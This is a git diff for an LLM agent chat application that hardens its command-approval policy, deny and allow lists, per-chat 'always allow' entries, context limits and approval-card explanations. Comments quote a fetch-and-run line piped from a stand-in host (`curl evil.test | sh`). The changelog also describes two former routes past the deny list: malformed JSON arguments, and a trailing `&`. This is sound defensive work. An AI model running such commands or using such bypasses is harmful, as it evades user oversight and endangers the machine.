diff --git a/CLAUDE.md b/CLAUDE.md index 7ee36ec..4fedf7a 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -334,6 +334,114 @@ mode says "ask", and asking is exactly what happened. `AgentContext.approved` is threaded per call on a *copy* of the context, because a round runs its calls together and only some of them were allowed. +**A call's arguments are parsed once, and the same dict reaches everything.** +`generation._arguments_for` does it; the approval card, `policy.decide` and the +runner all read the result. There used to be two parsers: the card did a plain +`json.loads` and showed `{}` on failure, while `run_tool`'s own fallback put the +raw string into the tool's first required parameter — `command`, for +`shell_run`. So a model emitting invalid JSON got a card headed "Run a command" +with an **empty body** and Allow ran something nobody had been shown, and +`decide` was handed `command=""`, matching neither list. Malformed JSON is a +normal path with small models, and it was a way past the deny list. The fallback +itself is right and is kept, in `tools.parse_arguments`; what was wrong was +having it in only one of the two places. + +**An unmatchable command line does not fall through a non-empty deny list.** +`policy.subject` returns `None` for anything carrying a shell metacharacter, so +no pattern can match it — right, and the whole reason `git *` in an allow list +cannot also mean `git status; curl evil.test | sh`. The original note said a +deny list needed no such care because failing open "returns you to the mode". +True of Manual, Edit and Plan. In **Auto** the mode is ALLOW, so `shutdown -h +now` asked and `shutdown -h now &` ran, and one character was the whole of the +difference. `decide` now asks when the subject is unmatchable *and* there is a +deny list — scoped to that, because otherwise Auto would ask about +`cd build && make`, which is most real commands. + +**"Always allow this" is a per-chat list, and no pattern ever comes from a +request.** It was a button that did nothing: the verdict was accepted, treated as +permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, merged +into `AgentContext.allow` beside the instance list. This is the one key under +`scope_json` that *widens*, which does not break the rule beside it because that +rule is about which tools a chat may reach; this only decides whether the reader +is asked again about a tool already offered. What makes it safe is that +`api/chats.py:_remember_always` derives every entry server-side from an item +just approved on a card, through `policy.subject` — the same normaliser the +matcher uses, which yields nothing at all for a composed command. The endpoint +takes an interaction id and a verdict, and nothing else. The items must be read +**before** the pause is resolved (`interaction.wait_for` clears +`generation.pending` in its `finally`), which is what `generation.pending_items` +is for. The list is shown in the composer's scope menu with a Clear beside it: a +standing permission nobody can see is one nobody can revoke. + +**A reply watches its own request size.** `_maybe_compact` runs once, *before* +the first round; after that a tool round appends an assistant turn and a tool +turn per call and nothing was looking. The only other guard, +`max_total_output_bytes`, defaults to a megabyte — about 260k tokens, larger +than the window of nearly every model this talks to — so it never fired first +and a long agent reply grew its request until the endpoint refused it. The +reader got an upstream error rather than an explanation. `_too_big` now stops +between rounds at `CONTEXT_HEADROOM` of `Model.context_length`, via the +`_gave_up` event that already existed. A `context_length` of 0 is **unknown, not +small**, and is skipped — the same rule the context percentage and automatic +compaction follow. + +**And the estimate it reads has to follow the request.** +`tokens.estimate_request` was called once, before the loop, so it described the +first round and nothing after it. That matters beyond the ceiling: for every +endpoint that sends no usage block — llama.cpp, Ollama, llama-swap — that +estimate *is* what the metrics report, so a forty-round reply showed round one's +prompt as the whole reply's. It is recomputed per round now, and +`prompt_estimate_total` sums them, mirroring the reported figures exactly: the +prompt is **summed** across rounds because it was paid for each time, while what +the reply *occupies* is the last round's prompt plus what was written. + +**`MAX_HARNESS_CHARS` has to be larger than the budgets the same code grants.** +It was 8000. The fragments alone are about 7,900 characters for an agent chat, +and `index_chars` (2,000) and `instructions_chars` (4,000) are granted on top, +both on by default. `prompts.assemble` cuts the **tail**, and by fragment order +the tail is the context worth having — so on a default install the project +listing was severed mid-tree and `context.agent_instructions` was dropped +entirely. The one path by which a project's own AGENTS.md reaches a model did +not reach it, and nothing said so. The two big blocks already carry their own +budgets, applied before assembly, so what this bounds is the *fragments* growing +unnoticed; it is set above the sum of what those budgets grant. +`tests/test_harness.py` pins that the shipped configuration fits. + +**A model says what each action is for, and it is shown where the action is.** +`shell_run`, `file_write`, `file_edit` and `job_stop` take a `why`: one line, +carried onto the approval card as `Item.purpose` and onto the tool event, where +the transcript renders it in the *summary* rather than the collapsed body. Auto +mode is the case it exists for — nothing stops for approval there, so without it +a reader watches a list of commands with no account of any of them until the +reply ends. Kept apart from `Item.reason`, which is *our* reason for stopping; +an explanation a reader takes for the application's own would be LLeMbas +vouching for text a model wrote. Not on `file_read`, `file_list` or +`file_search`: they are the hot path, their detail already says everything, and +a schema property costs tokens whether or not it is filled in. The wiring is a +`_explained` wrapper at the `ToolDef`, next to the schema that declares it, so +the two halves cannot drift. + +**An agent chat is told to work to an objective, and to work out loud.** +`core.objective` and `core.narrate`, both `families=("agent",)`. +`core.narrate` is deliberately the opposite of `core.tools_preamble`'s "do not +announce that you are about to" — which is right for a short answer, read once +it is finished, and wrong for a long piece of work, which is *watched while it +runs*. It says so in its own words rather than referring to the other fragment, +which an administrator may have cleared. Neither appears in an ordinary chat, +where stating an objective in front of a two-line answer is the preamble +`core.style` already forbids. This costs nothing structurally: text produced +before a tool call already survives into the finished reply. + +**A name in an f-string does not have to be a string.** `jobs.py` interpolated +`{log}` — the module logger — where it meant `{logf}`, so the launch-and-wait +wrapper ended `rm -f … …`, whose +angle brackets and parentheses are shell syntax. The line died with a syntax +error *after* the sentinel, where nothing reads it, so every command still +worked and every job silently left four files on the far side forever — +including the log holding everything it printed. Nothing caught it because the +tests asserted on the output, which was correct. `tests/test_agent_jobs.py` now +runs every wrapper through `sh -n`. + **`registry(db)` must know every tool that can be offered, agent tools included.** It maps an offered tool *name* back to a family, which is how the harness decides that `tool.agent` applies. They are listed there unbound to any diff --git a/src/lembas/api/chats.py b/src/lembas/api/chats.py index af578d6..ad80355 100644 --- a/src/lembas/api/chats.py +++ b/src/lembas/api/chats.py @@ -32,9 +32,9 @@ from lembas.services import chat as chat_service from lembas.services import compaction as compaction_service from lembas.services import files as files_service from lembas.services import generation as generation_service +from lembas.services import interaction, settings_store, sse from lembas.services import metrics as metrics_service from lembas.services import prompts as prompts_service -from lembas.services import settings_store, sse from lembas.services import tools as tools_service from lembas.services.agent import policy as agent_policy from lembas.services.agent import terminal as terminal_service @@ -1309,6 +1309,16 @@ async def answer_interaction( """ chat = _owned_chat(db, chat_id, user.id) form = await request.form() + verdict = str(form.get("verdict") or "").strip() + + # Read and recorded *before* resolving: `interaction.wait_for` clears + # `generation.pending` in its `finally`, so a moment later there is nothing + # left to remember and "always" would quietly mean "once". + remembered = 0 + if verdict == interaction.ALLOW_ALWAYS: + remembered = _remember_always( + db, chat, generation_service.pending_items(chat.id, interaction_id) + ) answers: dict[str, str] = {} for field, value in form.multi_items(): @@ -1324,7 +1334,7 @@ async def answer_interaction( answered = generation_service.answer( chat.id, interaction_id, - verdict=str(form.get("verdict") or "").strip(), + verdict=verdict, answers=answers, ) @@ -1333,9 +1343,73 @@ async def answer_interaction( response.headers["HX-Trigger"] = json.dumps( {"lembas:notify": {"message": "That question is no longer waiting for an answer."}} ) + elif remembered: + response.headers["HX-Trigger"] = json.dumps( + { + "lembas:notify": { + "message": ( + f"This chat will not ask about {remembered} more action" + f"{'' if remembered == 1 else 's'}. Clear that from the menu " + "beside the composer." + ) + } + } + ) return response +def _remember_always(db: DBSession, chat: Chat, items) -> int: + """Record what "always allow" was said about. Returns how many were new. + + The pattern is derived **here**, from the item that was approved, and never + taken from the request -- the endpoint accepts an interaction id and a + verdict and nothing else. `agent_policy.subject` is the same normaliser + `decide` matches with, so what is stored is exactly what will be compared + later; it returns None for a command line carrying a shell metacharacter, + which is precisely the shape that must never become a standing permission. + + A tool name for everything that is not a command, which is the convention + the shipped `allow_default` already uses: `file_read` and `file_list` are + entries in it. + """ + scope = dict(chat.scope_json or {}) + entries = list(scope.get("allow") or []) + added = 0 + + for item in items: + if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS: + continue + pattern = agent_policy.subject(item.tool_name, item.detail) + if not pattern or pattern in entries: + continue + entries.append(pattern) + added += 1 + + if added: + # Reassigned rather than mutated: a plain dict assignment into a JSON + # column is not detected. + chat.scope_json = {**scope, "allow": entries} + db.commit() + log.info("chat %s will stop asking about %d action(s)", chat.id, added) + return added + + +@router.post("/{chat_id}/allow/clear") +async def clear_allow(db: Db, user: RequiredUser, chat_id: str) -> Response: + """Forget everything this chat was told to stop asking about. + + An empty body rather than a 204, because the row in the menu has to + disappear -- htmx does not swap on a 204, and a Clear that leaves the count + on screen is the silent control this codebase keeps cataloguing. + """ + chat = _owned_chat(db, chat_id, user.id) + scope = dict(chat.scope_json or {}) + if scope.pop("allow", None) is not None: + chat.scope_json = scope + db.commit() + return HTMLResponse("") + + @router.patch("/{chat_id}") async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str) -> Response: """Partially update a chat. diff --git a/src/lembas/api/pages.py b/src/lembas/api/pages.py index b0115eb..b86635f 100644 --- a/src/lembas/api/pages.py +++ b/src/lembas/api/pages.py @@ -86,7 +86,7 @@ def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict: from lembas.services.library import skills as skills_service if chat is None: - return {"scope_families": [], "scope_skills": []} + return {"scope_families": [], "scope_skills": [], "scope_allow": []} off = tools_service.scoped_off(chat) skills_off = tools_service.scoped_skills_off(chat) @@ -124,7 +124,14 @@ def _scope_context(db: DBSession, user: User, chat: Chat | None) -> dict: if name not in {s["name"] for s in skills}: skills.append({"name": name, "description": "", "on": False}) - return {"scope_families": families, "scope_skills": skills} + # What this chat has been told to stop asking about. Shown so the list + # cannot grow invisibly: every entry is one click of "Always allow this" on + # a card, and a standing permission nobody can see is one nobody can revoke. + return { + "scope_families": families, + "scope_skills": skills, + "scope_allow": list(tools_service.scoped_allow(chat)), + } # What a gate is called in the menu. A gate covers several tools, so no single diff --git a/src/lembas/services/agent/jobs.py b/src/lembas/services/agent/jobs.py index 02b5fdc..9618317 100644 --- a/src/lembas/services/agent/jobs.py +++ b/src/lembas/services/agent/jobs.py @@ -179,7 +179,12 @@ def launch_and_wait_command(chat_id: str, job_id: str, command: str, max_bytes: f"tail -c {max_bytes} {logf} 2>/dev/null\n" f"printf '\\n{s}:'\n" f"cat {exit_} 2>/dev/null || printf LOST\n" - f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {log} {exit_}\n" + # `logf`, not `log`. The module logger is a perfectly good f-string + # operand and formats to "", whose angle brackets and + # parentheses are shell syntax -- so this line died with a syntax error, + # after the sentinel where nothing reads it, and every job's four files + # were left on the far side forever. See the note in CLAUDE.md. + f"rm -f {_file(chat_id, job_id, 'sh')} {pid} {logf} {exit_}\n" ) diff --git a/src/lembas/services/agent/policy.py b/src/lembas/services/agent/policy.py index 655fd8d..abe552d 100644 --- a/src/lembas/services/agent/policy.py +++ b/src/lembas/services/agent/policy.py @@ -86,11 +86,15 @@ POLICY: dict[str, dict[str, str]] = { MODE_PLAN: {RISK_READ: ALLOW, RISK_WRITE: ASK, RISK_EXECUTE: ASK}, } -# A shell metacharacter makes a command line unmatchable, so it falls through to -# the mode's own verdict rather than to an allow-list entry. Without this, -# `git *` in an allow list also matches `git status; curl evil.test | sh`, which -# is the whole ballgame. A deny list needs no such rule: failing open there -# returns you to the mode, while failing open on an allow list runs the command. +# A shell metacharacter makes a command line unmatchable, so no pattern may be +# applied to it. Without this, `git *` in an allow list also matches +# `git status; curl evil.test | sh`, which is the whole ballgame. +# +# The original reasoning stopped there, arguing a deny list needed no such care +# because "failing open returns you to the mode". That is true of Manual, Edit +# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So +# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the +# whole of the difference. See `decide`. _UNSAFE = re.compile(r"[;&|<>`$\n\\()]") @@ -171,11 +175,13 @@ def decide( 1. A deny wins before everything, **including Auto**. A deny list that Auto ignores is not a deny list, it is a suggestion. - 2. `ask` never resolves to allow. `ask_user` asks in every mode; that is + 2. A command line nobody can match is not a command line the deny list can + clear. See below. + 3. `ask` never resolves to allow. `ask_user` asks in every mode; that is what the tool is for, and a mode that skipped it would answer the model's question on the reader's behalf. - 3. An allow-list hit runs it. - 4. Otherwise the table. + 4. An allow-list hit runs it. + 5. Otherwise the table. An unrecognised mode is treated as Manual, not Auto: a row that predates a rename has to fail towards asking. @@ -186,6 +192,21 @@ def decide( if hit: return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.") + # Unmatchable *and* somebody has said what to always ask about. Falling + # through here is what let `shutdown -h now &` run in Auto while + # `shutdown -h now` asked: `subject` returns None for anything containing a + # metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW. + # + # Only when there is a deny list at all. Making every compound command ask + # regardless would take `cd build && make` -- which is most real commands -- + # away from the mode whose whole purpose is not asking. + if candidate is None and deny: + return Decision( + ASK, + "This command line runs more than one thing, so it cannot be " + "checked against the list of commands to always ask about.", + ) + if risk == RISK_ASK: return Decision(ASK, "") diff --git a/src/lembas/services/agent/session.py b/src/lembas/services/agent/session.py index 97ea919..2369bed 100644 --- a/src/lembas/services/agent/session.py +++ b/src/lembas/services/agent/session.py @@ -149,6 +149,17 @@ def profile_for(db: DBSession, chat: Chat, user: User | None) -> SshProfile | No return profile +def _allow_for(chat: Chat) -> tuple[str, ...]: + """Imported inside `resolve` rather than at module scope. + + `services/tools.py` imports this module's `resolve`, so a top-level import + back the other way is a cycle. + """ + from lembas.services import tools as tools_service + + return tools_service.scoped_allow(chat) + + def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None: """This chat's agent setup, or None if it has none it can use. @@ -179,7 +190,11 @@ def resolve(db: DBSession, chat: Chat, user: User | None) -> AgentContext | None project_dir=chat.project_dir or profile.default_dir or "", profile_id=profile.id, mode=chat.agent_mode if chat.agent_mode in policy.MODES else policy.MODE_MANUAL, - allow=tuple(values.get("allow_default") or ()), + # The instance's list, plus whatever this chat's reader has said + # "always" to on a card. Never the other way round for the deny list: + # a chat cannot un-deny anything, and `decide` consults deny first + # regardless. + allow=(*(values.get("allow_default") or ()), *_allow_for(chat)), deny=tuple(values.get("deny_default") or ()), limits=Limits( steps=int(values.get("max_steps") or 200), diff --git a/src/lembas/services/agent/tools.py b/src/lembas/services/agent/tools.py index 490fcb3..30bba1e 100644 --- a/src/lembas/services/agent/tools.py +++ b/src/lembas/services/agent/tools.py @@ -51,6 +51,57 @@ MAX_DIFF_LINES = 200 _STRING = {"type": "string"} +# What the model says it is doing, offered on everything that changes something +# or that stops for approval. It is shown to the person -- above the command on +# an approval card, and beside the call in the transcript when nothing stopped +# for approval at all -- which is the only reason it exists: in Auto mode a +# reader otherwise watches a list of commands with no account of what they are +# for until the reply ends. +# +# Not on `file_read`, `file_list` or `file_search`. They are the hot path, their +# detail says everything ("Read src/main.py"), and a schema property costs +# tokens on every request whether or not it is filled in. +_WHY = { + **_STRING, + "description": ( + "One short line saying what you are doing this for, in plain language. " + "It is shown to the person — beside the command when they are asked to " + "approve it, and in the transcript when they are not." + ), +} + +# One line, and short. It goes in a summary line beside the command, and it is +# stored on the message row forever. +MAX_WHY_CHARS = 240 + + +def why_of(args: dict[str, Any]) -> str: + """What the model said this call is for, as one short line.""" + return " ".join(str(args.get("why") or "").split())[:MAX_WHY_CHARS] + + +def _explained(run): + """Wrap a runner so whatever it returns carries the model's explanation. + + Applied at the `ToolDef`, next to the schema that declares `why`, so the two + halves cannot drift apart -- a tool that offers the argument records it, and + one that does not offer it never sees it. + + A wrapper rather than a parameter threaded through, because `shell_run` + alone builds its outcome in five places -- foreground, convertible, + launched, backgrounded and the shared formatter -- and none of them has any + other reason to know this exists. `ToolOutcome.event` is a plain mutable + dict, so every path through a runner is covered by one line here. + """ + + async def wrapped(context: ToolContext, args: dict[str, Any]) -> ToolOutcome: + outcome = await run(context, args) + if why := why_of(args): + outcome.event["why"] = why + return outcome + + return wrapped + def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]: """One line in the transcript for one call. @@ -715,6 +766,7 @@ def _no_machine(name: str) -> ToolOutcome: def _shell_parameters(background_on: bool) -> dict[str, Any]: properties: dict[str, Any] = { "command": {**_STRING, "description": "The command line to run."}, + "why": _WHY, "cwd": {**_STRING, "description": "Where to run it. Defaults to the project directory."}, "timeout": { "type": "number", @@ -758,7 +810,7 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: "non-interactive rather than waiting for it to ask." ), parameters=_shell_parameters(bool(context and context.background)), - run=_run_shell, + run=_explained(_run_shell), risk=RISK_EXECUTE, ), ToolDef( @@ -793,10 +845,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: "properties": { "path": {**_STRING, "description": "The file to write."}, "content": {**_STRING, "description": "Its whole new contents."}, + "why": _WHY, }, "required": ["path", "content"], }, - run=_run_write, + run=_explained(_run_write), risk=RISK_WRITE, ), ToolDef( @@ -823,10 +876,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: **_STRING, "description": "The unified diff to apply.", }, + "why": _WHY, }, "required": ["path", "patch"], }, - run=_run_edit, + run=_explained(_run_edit), risk=RISK_WRITE, ), ToolDef( @@ -1027,10 +1081,13 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: description="Stop a background job, killing it and everything it started.", parameters={ "type": "object", - "properties": {"id": {**_STRING, "description": "The job id."}}, + "properties": { + "id": {**_STRING, "description": "The job id."}, + "why": _WHY, + }, "required": ["id"], }, - run=_run_job_stop, + run=_explained(_run_job_stop), # It terminates a process on the machine, so it goes through the mode # table exactly as shell_run does. risk=RISK_EXECUTE, @@ -1053,4 +1110,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]: return [tool for tool in defs if tool.name not in drop] -__all__ = ["FAMILY_AGENT", "MAX_DIFF_LINES", "MAX_EVENT_CHARS", "tool_defs"] +__all__ = [ + "FAMILY_AGENT", + "MAX_DIFF_LINES", + "MAX_EVENT_CHARS", + "MAX_WHY_CHARS", + "tool_defs", + "why_of", +] diff --git a/src/lembas/services/generation.py b/src/lembas/services/generation.py index cafa85b..2c8f55d 100644 --- a/src/lembas/services/generation.py +++ b/src/lembas/services/generation.py @@ -17,7 +17,6 @@ from __future__ import annotations import asyncio import contextlib -import json import logging import time import uuid @@ -35,6 +34,7 @@ from lembas.services import metrics as metrics_service from lembas.services import prompts as prompts_service from lembas.services import tools as tools_service from lembas.services.agent import policy as agent_policy +from lembas.services.agent import tools as agent_tools from lembas.services.llm.openai_client import ( LLMError, chunk_usage, @@ -69,6 +69,18 @@ MAX_TOOL_ROUNDS = 200 # say so and be believed rather than argued with indefinitely. MAX_NUDGES = 2 +# How much of the window a request may occupy before the next round is refused. +# A tool round appends an assistant turn and a tool turn per call, so a reply +# that keeps calling tools grows its own request until the endpoint refuses it -- +# and `_maybe_compact` runs once, before the first round, so nothing was watching +# it after that. The only other guard, `max_total_output_bytes`, defaults to a +# megabyte, which is about 260k tokens: larger than the window of nearly every +# model this talks to, so it never fired first. +# +# The tenth left over is room to answer in. Stopping with an explanation beats an +# upstream error that says only that the request was too long. +CONTEXT_HEADROOM = 0.9 + @dataclass class Generation: @@ -98,6 +110,14 @@ class Generation: # has a percentage to show while the reply is still being written -- real # usage only arrives in a single chunk at the very end. prompt_estimate: int = 0 + # Every round's estimate added up, against `prompt_estimate` being only the + # latest. The two answer different questions and both are wanted: what the + # reply *cost* is the sum, because a three-round reply pays for its prompt + # three times; what it *occupies* is the last one. That is exactly the split + # the reported figures already use between `prompt_tokens` and + # `context_tokens`, so the fallback mirrors it rather than inventing a + # second convention. + prompt_estimate_total: int = 0 rounds: int = 0 # time.monotonic() at the start. A field rather than a local in `_run` # because `_follow` is a different function that sees only this object, and @@ -215,6 +235,26 @@ def answer( return False +def pending_items(chat_id: str, interaction_id: str) -> tuple[interaction.Item, ...]: + """What the card this chat is waiting on is asking about. + + For the route that has to record what "always" meant. It must be read + *before* the pause is resolved: `interaction.wait_for` clears + `generation.pending` in its `finally`, so a moment later there is nothing + left to read and "always" would silently remember nothing. + + Empty when there is no such pause -- already answered, timed out, or the + server restarted -- which is the same answer `answer` gives, and means a + stale card records nothing rather than half of something. + """ + for generation in _RUNNING.values(): + pending = generation.pending + if generation.chat_id != chat_id or pending is None or pending.id != interaction_id: + continue + return pending.items + return () + + def running_for(chat_id: str) -> Generation | None: """The reply being written in this chat, if there is one. @@ -381,8 +421,6 @@ async def _run(generation: Generation) -> None: chat_rounds = settings_store.chat_rounds(db) nudge_enabled = bool(settings_store.agents(db).get("nudge_unfinished")) - generation.prompt_estimate = tokens.estimate_request(payload) - limits = tool_context.agent.limits if tool_context.agent else None # A ceiling, not a schedule -- the loop below ends the moment a round # produces no tool calls, which is the model saying it is done. Zero @@ -394,6 +432,24 @@ async def _run(generation: Generation) -> None: for round_number in range(budget + 1): generation.rounds = round_number + 1 + # Recomputed every round, against once before the loop. The request + # grows by an assistant turn and a tool turn per call each time, so + # a single estimate taken up front described the first round and + # nothing after it -- and for the endpoints that send no usage block + # at all (llama.cpp, Ollama and friends) that estimate *is* the + # figure everything downstream reports. A forty-round reply showed + # the first round's prompt as the whole reply's. + generation.prompt_estimate = tokens.estimate_request(payload) + generation.prompt_estimate_total += generation.prompt_estimate + + # Before spending a request that cannot fit. Outside the agent + # branch below on purpose: an ordinary chat with a round budget can + # fill a small window too, and `context_limit` is what decides, + # not what kind of chat it is. + if round_number and _too_big(generation): + _gave_up(generation, "with no room left in the context window") + break + # Checked between rounds, never mid-stream: cutting a reply off in # the middle of a sentence to enforce a budget produces garbage, and # Stop already covers the mid-stream case. Time spent waiting for a @@ -530,15 +586,23 @@ async def _run(generation: Generation) -> None: break messages = [ + # The **raw** arguments string, not the parsed dict: the + # endpoint has to see back exactly what it sent, or an + # id-matching server pairs its own call with something it does + # not recognise. *payload["messages"], tools_service.assistant_turn(calls, "".join(round_text)), ] + # Parsed once, here, and shared by everything below: the approval + # card, `policy.decide`, and the runner. See `_arguments_for`. + arguments = _arguments_for(tool_context, calls) + # Decided before anything runs, never during. A round's calls run # together under a semaphore, and four people-shaped pauses inside # that gather would queue behind each other invisibly -- see # services/interaction.py. - decided, allowed = await _authorise(generation, tool_context, calls) + decided, allowed = await _authorise(generation, tool_context, calls, arguments) if generation.stopped: break @@ -546,7 +610,7 @@ async def _run(generation: Generation) -> None: generation.touch() try: outcomes = await _run_calls( - tool_context, calls, decided=decided, allowed=allowed + tool_context, calls, arguments, decided=decided, allowed=allowed ) finally: generation.status = "" @@ -620,8 +684,14 @@ async def _run(generation: Generation) -> None: generation.completion_tokens = tokens.estimate( generation.text + generation.thinking ) - generation.prompt_tokens = generation.prompt_estimate - generation.context_tokens = generation.prompt_tokens + generation.completion_tokens + # Mirroring the reported figures exactly: the prompt is summed + # across rounds because it was paid for each time, while what the + # reply *occupies* is the last round's prompt plus what was written. + # Both used to come from one estimate taken before the first round. + generation.prompt_tokens = ( + generation.prompt_estimate_total or generation.prompt_estimate + ) + generation.context_tokens = generation.prompt_estimate + generation.completion_tokens # Naming the chat is a second, short completion, so it has to happen # here rather than in the synchronous persist step below. Best-effort: @@ -900,6 +970,20 @@ def _nudge( } +def _too_big(generation: Generation) -> bool: + """Whether the request about to go out leaves no room to answer in. + + `context_limit` of 0 is *unknown*, not small -- the rule this codebase + already applies to the context percentage and to automatic compaction -- so + a model nobody has declared a window for is never stopped by this. That is + the honest answer: the alternative is refusing to work on every model an + administrator has not filled a number in for. + """ + if not generation.context_limit: + return False + return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM + + def _written(generation: Generation) -> int: """How much this reply has written so far, in tokens, reported or estimated. @@ -931,12 +1015,29 @@ def _tool_status(calls: list[dict]) -> str: return f"Running {len(calls)} tools…" -def _arguments_of(call: dict) -> dict: - try: - args = json.loads(call["arguments"] or "{}") - except json.JSONDecodeError: - return {} - return args if isinstance(args, dict) else {} +def _book(context) -> dict: + """The tools this request may call, keyed by name. + + `context.tools` is authoritative *even when empty* -- a dict means somebody + resolved a set. Only `None` means nobody did, which is the one case that + falls back to the import-time registry. + """ + return context.tools if context.tools is not None else tools_service.REGISTRY + + +def _arguments_for(context, calls: list[dict]) -> list[dict]: + """Every call's arguments in this round, parsed once. + + Once, and shared: the card, the policy and the runner all read the same + dict. Two parsers meant a model could emit malformed JSON and get an + approval card with an empty command body while `run_tool`'s own fallback + handed the raw string to `shell_run` and ran it. + """ + book = _book(context) + return [ + tools_service.parse_arguments(book.get(call["name"]), call["arguments"]) + for call in calls + ] def _describe(name: str, args: dict) -> tuple[str, str]: @@ -953,19 +1054,23 @@ def _describe(name: str, args: dict) -> tuple[str, str]: return tool_labels.describe(name, args) -def _approvals(context, calls: list[dict]) -> list[interaction.Item]: +def _approvals(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]: """The calls in this round that a person has to allow before they run. Only in an agent chat: `context.agent` is None everywhere else, and an ordinary conversation behaves exactly as it did. Within one, *every* call goes through the table, including the built-in ones -- `notes_edit` writes, and Plan mode meaning "look but do not touch" has to mean that too. + + `arguments` is what `_arguments_for` parsed, positionally matched to + `calls`. Deliberately not re-parsed here: the card has to describe what the + runner will actually be given. """ agent = getattr(context, "agent", None) if agent is None: return [] - book = context.tools if context.tools is not None else tools_service.REGISTRY + book = _book(context) items: list[interaction.Item] = [] for index, call in enumerate(calls): @@ -973,7 +1078,7 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]: if tool is None or tool.risk == tools_service.RISK_ASK: continue # unknown names are refused by run_tool; questions are their own card - args = _arguments_of(call) + args = arguments[index] command = str(args.get("command") or "") if call["name"] == "shell_run" else "" decision = agent_policy.decide( mode=agent.mode, @@ -996,12 +1101,13 @@ def _approvals(context, calls: list[dict]) -> list[interaction.Item]: title=f"{title} on {agent.label}", detail=detail, reason=decision.reason, + purpose=agent_tools.why_of(args), ) ) return items -def _ask_items(context, calls: list[dict]) -> list[interaction.Item]: +def _ask_items(context, calls: list[dict], arguments: list[dict]) -> list[interaction.Item]: """Which of this round's calls need a person, and what to show about each. Looked up through `context.tools`, the map of what was actually offered -- @@ -1009,14 +1115,14 @@ def _ask_items(context, calls: list[dict]) -> list[interaction.Item]: here and refused there, so an unknown tool cannot smuggle itself past by being unclassifiable. """ - book = context.tools if context.tools is not None else tools_service.REGISTRY + book = _book(context) items: list[interaction.Item] = [] for index, call in enumerate(calls): tool = book.get(call["name"]) if tool is None or tool.risk != tools_service.RISK_ASK: continue - args = _arguments_of(call) + args = arguments[index] for asked in _questions_in(args): options = [str(o).strip() for o in (asked.get("options") or []) if str(o).strip()] @@ -1064,7 +1170,7 @@ def _questions_in(args: dict) -> list[dict]: async def _authorise( - generation, context, calls: list[dict] + generation, context, calls: list[dict], arguments: list[dict] ) -> tuple[dict[int, ToolOutcome], set[int]]: """Which of this round's calls may run, and what the others answer instead. @@ -1079,8 +1185,8 @@ async def _authorise( very thing that was just approved -- the mode says "ask", and asking is what happened. """ - questions = _ask_items(context, calls) - approvals = _approvals(context, calls) + questions = _ask_items(context, calls, arguments) + approvals = _approvals(context, calls, arguments) items = [*approvals, *questions] if not items: return {}, set() @@ -1187,6 +1293,7 @@ def _answered(items: list[interaction.Item], reply: interaction.Reply) -> ToolOu async def _run_calls( context, calls: list[dict], + arguments: list[dict], *, decided: dict[int, ToolOutcome] | None = None, allowed: set[int] | None = None, @@ -1224,7 +1331,9 @@ async def _run_calls( ctx = replace(context, agent=context.agent.as_approved()) async with limit: - return await tools_service.run_tool(ctx, call["name"], call["arguments"]) + return await tools_service.run_tool( + ctx, call["name"], call["arguments"], parsed=arguments[index] + ) return list(await asyncio.gather(*(one(i, c) for i, c in enumerate(calls)))) diff --git a/src/lembas/services/harness.py b/src/lembas/services/harness.py index e0b8f82..9469cb1 100644 --- a/src/lembas/services/harness.py +++ b/src/lembas/services/harness.py @@ -47,9 +47,24 @@ from lembas.services.library import skills as skills_service log = logging.getLogger(__name__) # A ceiling on the whole block, so that a large library cannot quietly eat the -# context window. Memory and skills have their own caps below this one. An -# administrator can lower it; `max_harness_chars` of 0 means "use this". -MAX_HARNESS_CHARS = 8000 +# context window. An administrator can lower it; `max_harness_chars` of 0 means +# "use this". +# +# It has to be larger than everything the shipped defaults are already allowed +# to put in, and at 8000 it was not. The fragments alone are about 7,900 +# characters for an agent chat, and on top of that `index_chars` grants a 2,000 +# character project listing and `instructions_chars` a 4,000 character +# AGENTS.md -- both defaults, both on by default. The block was therefore cut at +# 8,000 on an ordinary agent chat, and `prompts.assemble` cuts the *tail*, which +# by fragment order is exactly the context worth having: the listing was severed +# mid-tree and `context.agent_instructions` was dropped in its entirety. The one +# path by which a project's own instructions reach a model did not reach it. +# +# The two big blocks already carry their own budgets, applied before assembly, +# so they are bounded whatever this is. What this bounds is the *fragments* +# growing without anybody noticing -- so it is set above the sum of what those +# budgets grant, with room for the plan and the memories beside them. +MAX_HARNESS_CHARS = 16000 # How many attached filenames to name in the prompt. Enough to show what the # tags will look like, few enough that a chat with thirty files does not spend diff --git a/src/lembas/services/interaction.py b/src/lembas/services/interaction.py index 86cf28a..6307c9a 100644 --- a/src/lembas/services/interaction.py +++ b/src/lembas/services/interaction.py @@ -77,6 +77,12 @@ class Item: title: str detail: str = "" reason: str = "" + # What the model says this call is for, in its own words -- distinct from + # `reason`, which is why *we* stopped ("Edit mode asks before anything that + # runs a command"). Model text, and shown as such: a card carrying an + # explanation somebody reads as the application's own would be a card + # vouching for it. + purpose: str = "" options: tuple[str, ...] = () allow_free_text: bool = True diff --git a/src/lembas/services/prompts.py b/src/lembas/services/prompts.py index 67b3d90..0330635 100644 --- a/src/lembas/services/prompts.py +++ b/src/lembas/services/prompts.py @@ -670,6 +670,54 @@ BUILTIN: tuple[Fragment, ...] = ( "to report progress and wait to be told to continue." ), ), + Fragment( + key="core.objective", + label="Working to an objective", + group=GROUP_CORE, + order=112, + families=("agent",), + hint="An agent chat only. A model given a piece of work drifts: it " + "starts on what was asked, finds something adjacent, and finishes " + "somewhere else without ever saying it changed course. Naming the " + 